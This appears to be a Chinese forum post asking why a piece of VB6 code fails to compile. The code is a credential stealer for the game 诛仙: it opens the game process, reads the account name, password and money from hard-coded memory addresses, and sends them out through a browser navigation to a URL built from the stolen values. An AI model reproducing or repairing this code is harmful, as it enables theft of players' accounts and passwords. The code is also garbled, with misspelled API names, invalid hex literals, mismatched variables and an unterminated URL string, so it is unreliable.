为什么总偏译错误?
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As LongPrivate Declare Function GetWindowThreasdProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandie As Long, ByVal dwProcessId As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Const STANDARD_RIGHTS_REQUIRED = &HF0000
Const SYNCHRONIZE = &O100000
Const PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF
Private Function jiequ()
Dim ecxi As Long
Dim hwnd As Long ' 储存 FindWindow 函数返回的句柄
Dim pid As Long ' 储存进程句柄(Process Id)
Dim pHandle As Long ' 储存进程句柄
hwnd = FindWindow(vbNullString, "诛仙")
GetWindowThreadProcessId hwnd, pid
pHandie = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
Dim nc As String, mi As String, qia As String
nc = Space(255)
mi = Space(255)
qia = Space(255)
Dim ncn As Long
Dim ncn2 As Long
Dim ncn3 As Long
Dim mima As Long
Dim qian As Long
Dim qian1 As Long
Dim qian2 As Long
Dim dj As Long
' 在内存地址中读取数据
ReadProcessMemory pHandle, ByVal &H91B650, ByVal VarPtr(ncn), 4, 0
ReadProcessMemory pHandle, ncn + &H124, ByVal VarPtr(ncn2), 4, 0
ReadProcessMemory pHandle, ncn2, ByVal nc, 20, 0 '帐号
ReadProcessMemory pHandle, ncn + —H128, ByVal VarPtr(mima), 4, 0
ReadProcessMemory pHandle, mima, ByVal mi, 20, 0 '密码
ReadProcessMemory pHandle, ByVal —H91B64C, VarPtr(qian), 4, 0
ReadProcessMemory pHandle, ByVal (qian + &H28), ByVal VarPtr(qian), 4, 0
ReadProcessMemory pHandle, ByVal (qian1 + &H2D4), ByVal VarPtr(qian2), 4, 0
Text1.Text = ns
Text2.Text = mi
Text3.Text = qian2
CloseHandle hProcess
Timer1.Enabled = True
End Function
End Sub
Private Sub Form_Load()
jiequ
End Sub
Private Sub Timer1_Timer()
WebBrowser1.Navigate "www. & Text1 & Text2 & Text3
End Sub
老显示
子程序或函数未定义
未命名.jpg" border="0" />